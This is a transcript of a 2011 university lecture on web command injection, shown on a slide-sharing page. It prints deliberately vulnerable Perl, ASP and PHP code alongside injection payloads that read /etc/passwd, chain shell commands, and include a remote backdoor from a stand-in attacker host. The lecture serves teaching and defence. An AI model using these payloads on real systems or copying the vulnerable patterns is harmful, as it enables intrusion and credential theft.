Software Security Lecture 4 Fang Yu Dept. of MIS, National Chengchi University Spring 2011.

Slides:



Advertisements
Similar presentations
PHP Form and File Handling
Advertisements

Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Software Security Lecture 11 Fang Yu Dept. of MIS, National Chengchi University Spring 2011.
Software Security Lecture 9 Fang Yu Dept. of MIS, National Chengchi University Spring 2011.
Software Security Lecture 12 Fang Yu Dept. of MIS, National Chengchi University Spring 2011.
Software Security Lecture 10 Fang Yu Dept. of MIS, National Chengchi University Spring 2011.
Software Security Lecture 6 Fang Yu Dept. of MIS, National Chengchi University Spring 2011.
Software Security Lecture 5 Fang Yu Dept. of MIS, National Chengchi University Spring 2011.
B.Sc. Multimedia ComputingMedia Technologies Database Technologies.
Website Development Introducing PHP The PHP scripting language Syntax derives from C, Java and Perl Open Source Links to MySql database.
Week 2 IBS 685. Static Page Architecture The user requests the page by typing a URL in a browser The Browser requests the page from the Web Server The.
1 CS6320 – Why Servlets? L. Grewe 2 What is a Servlet? Servlets are Java programs that can be run dynamically from a Web Server Servlets are Java programs.
ASP.NET 2.0 Chapter 6 Securing the ASP.NET Application.
2440: 141 Web Site Administration Web Server-Side Programming Professor: Enoch E. Damson.
Chapter 6: Hostile Code Guide to Computer Network Security.
8/17/2015CS346 PHP1 Module 1 Introduction to PHP.
©Ian Sommerville 2004Software Engineering, 7th edition. Chapter 13 Slide 1 Application architectures.
INTRODUCTION TO WEB DATABASE PROGRAMMING
FALL 2005CSI 4118 – UNIVERSITY OF OTTAWA1 Part 4 Web technologies: HTTP, CGI, PHP,Java applets)
AIT 616 Fall 2002 PHP. AIT 616 Fall 2002 PHP  Special scripting language used to dynamically generate web documents  Open source – Free!!!  Performs.
Principles of Computer Security: CompTIA Security + ® and Beyond, Third Edition © 2012 Principles of Computer Security: CompTIA Security+ ® and Beyond,
+ Websites Vulnerabilities. + Content Expand of The Internet Use of the Internet Examples Importance of the Internet How to find Security Vulnerabilities.
© 2008 Dr. Paul Walcott – The University of the West Indies: Cave Hill CampusDr. Paul Walcott COMP6325 Advanced Web Technologies Dr. Paul Walcott The University.
Lecture slides prepared for “Computer Security: Principles and Practice”, 3/e, by William Stallings and Lawrie Brown, Chapter 5 “Database and Cloud Security”.
10/5/2015CS346 PHP1 Module 1 Introduction to PHP.
9 Chapter Nine Compiled Web Server Programs. 9 Chapter Objectives Learn about Common Gateway Interface (CGI) Create CGI programs that generate dynamic.
Attacking Applications: SQL Injection & Buffer Overflows.
Java CGI Lecture notes by Theodoros Anagnostopoulos.
CGI Security COEN 351. CGI Security Security holes are exploited by user input. We need to check user input against Buffer overflows etc. that cause a.
Building PERL Scripts on a Windows system* *and running those scripts on an Apache server!
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
ASP (Active Server Pages) by Bülent & Resul. Presentation Outline Introduction What is an ASP file? How does ASP work? What can ASP do? Differences Between.
Michael Dalton, Christos Kozyrakis, and Nickolai Zeldovich MIT, Stanford University USENIX 09’ Nemesis: Preventing Authentication & Access Control Vulnerabilities.
 Previous lessons have focused on client-side scripts  Programs embedded in the page’s HTML code  Can also execute scripts on the server  Server-side.
 2001 Prentice Hall, Inc. All rights reserved. Chapter 7 - Introduction to Common Gateway Interface (CGI) Outline 7.1Introduction 7.2A Simple HTTP Transaction.
8 Chapter Eight Server-side Scripts. 8 Chapter Objectives Create dynamic Web pages that retrieve and display database data using Active Server Pages Process.
Mr. Justin “JET” Turner CSCI 3000 – Fall 2015 CRN Section A – TR 9:30-10:45 CRN – Section B – TR 5:30-6:45.
 Web pages originally static  Page is delivered exactly as stored on server  Same information displayed for all users, from all contexts  Dynamic.
EECS 354: Network Security Group Members: Patrick Wong Eric Chan Shira Schneidman Web Attacks Project: Detecting XSS and SQL Injection Vulnerabilities.
8 th Semester, Batch 2009 Department Of Computer Science SSUET.
1 PHP Intro PHP Introduction After this lecture, you should be able to: Know the fundamental concepts of Web Scripting Languages in general, PHP in particular.
Example – SQL Injection MySQL & PHP code: // The next instruction prompts the user is to supply an ID $personID = getIDstringFromUser(); $sqlQuery = "SELECT.
Introduction to JavaScript MIS 3502, Spring 2016 Jeremy Shafer Department of MIS Fox School of Business Temple University 2/2/2016.
Web Page Designing With Dreamweaver MX\Session 1\1 of 9 Session 1 Introduction to PHP Hypertext Preprocessor - PHP.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
IST 210: PHP Basics IST 210: Organization of Data IST2101.
A S P. Outline  The introduction of ASP  Why we choose ASP  How ASP works  Basic syntax rule of ASP  ASP’S object model  Limitations of ASP  Summary.
University of Kansas Department of Electrical Engineering and Computer Science Dr. Susan Gauch April 21, 2005 I T T C Introduction to Web Technologies.
The Common Gateway Interface (CGI) Pat Morin COMP2405.
Group 18: Chris Hood Brett Poche
Web Application Security
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Introduction to Dynamic Web Programming
World Wide Web policy.
CGI I: Basics Web Programming.
Programming Basics Web Programming.
19.10 Using Cookies A cookie is a piece of information that’s stored by a server in a text file on a client’s computer to maintain information about.
PHP (PHP: Hypertext Preprocessor)
Introduction to Programming the WWW I
Intro to PHP & Variables
Database Driven Websites
Attacking Back-End Components
IS3440 Linux Security Unit 9 Linux System Logging and Monitoring
Introduction to Servlets
Lecture 2 - SQL Injection
Web Hacking: Beginners
Architecture of the web
PHP: Hypertext Preprocessor
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
CGI I: Basics Web Programming.
Presentation transcript:

Software Security Lecture 4 Fang Yu Dept. of MIS, National Chengchi University Spring 2011

Outline  Today we will have Adam presenting how to attack authentications (Ch6)  Before his presentation, I will continue Command Injections (Ch9), and also I will present my recent research on how to prevent and remove injection vulnerabilities  The rest of your presentations have been scheduled. Please check the course web page and plan ahead. Let me know if you have any question.  The course website : 

Injecting Code II Chapter 9 The Web Application Hacker’s Handbook

Interpreted Languages  Recall that an interpreted language is one whose execution involved a runtime component that interprets the code of the language and carries out the instructions that it contains  For example, SQL, Perl, ASP, PHP, etc.

Interpreted Languages  In most applications, the code processed by the interpreter is a mix of instructions written by a programmer and data supplied by a user.  An attacker can supply crafted input that breaks out of the data context, usually by supplying some syntax that has a special significance within the grammar of the interpreted language.

Command Injection Attacks  Main problem: Incorrect or completely lack of validation of user input that results in the execution of commands on the server  We have discussed SQL injections last week. Today we will discuss OS command, Web scripting language, SOAP and SMTP injection attacks.

OS command: Injecting via Perl  Consider a Perl CGI Code that allows administrators to specify a directory and view a summary of its disk usages #!/usr/bin/perl use strict; use CGI qw(:standard escapeHTML); print header, start_html(“”); print “ ”; my $command = “du -h --exclude php* /var/www/html”; $command= $command.param(“dir”); $command=`$command`; print “$command\n”; print end_html;

 When used as intended:

Injecting via Perl  “|” is used to redirect the output of a process to the input of another process  This enables multiple commands to be chained together

 Inject code: (cat /etc/passwd)

OS Command: Injecting via ASP  Consider an ASP code that allows administrators to view the contents of a requested log file  type the log file  cmd executes the command <% Set oScript = Server.CreateObject(“WSCRIPT.SHELL”) Set oFileSys = Server.CreateObject(“Scripting.FileSystemObject”) szCMD = “type c:\inetpub\wwwroot\logs\“ & Request.Form(“FileName”) szTempFile = “C:\“ & oFileSys.GetTempName() Call oScript.Run (“cmd.exe /c “ & szCMD & “ > “ & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) %>

 When used as intended: (submit last5.log)

 Use && to batch multiple commands together  Last5.log && dir c:\

Dynamic Execution Vulnerabilities  The PHP function eval() is used to dynamically execute code that is passed to the function at runtime  Consider a search function that enables users to create stored searches:  The server side implementation:  creating a mysearch variable with the value wahh app.com/search.php?storedsearch=\$myse arch%3dwahh $storedsearch = $_GET[‘storedsearch’]; eval(“$storedsearch;”);

Dynamic execution in PHP  The semicolon character can be used to batch commands together in a single parameter.  For example, to retrieve the contents of the file /etc/password, you could use either the file_get_contentsor the system command: app.com/search.php?storedsearch=\$mysearch%3 dwahh; %20echo%20file_get_contents(‘/etc/passwd’) app.com/search.php?storedsearch=\$mysearch%3 dwahh; %20system(‘cat%20/etc/passwd’)

File Inclusion Attacks  Consider an application that delivers different content to people in different locations  A request looks like:  The application processes as follows: $country = $_GET[‘Country’]; include( $country. ‘.php’ );

File Inclusion Attacks  If the request has been intercepted:  The sever side may include an arbitrary remote file app.com/main.php?Country= attacker.com/backdoor $country = $_GET[‘Country’]; include( );

Quiz  What’s the main cause of injection vulnerabilities?  How to prevent injection vulnerabilities?  Let’s talk a little bit about Stranger

Next week  We will have Juilette presenting Attacking Session Management (Chapter 7), Jorina presenting Attacking Access Controls (Chapter 8)  We will also have Hsing Hunag presenting Burp Suite, a tool set for analyzing and attacking web applications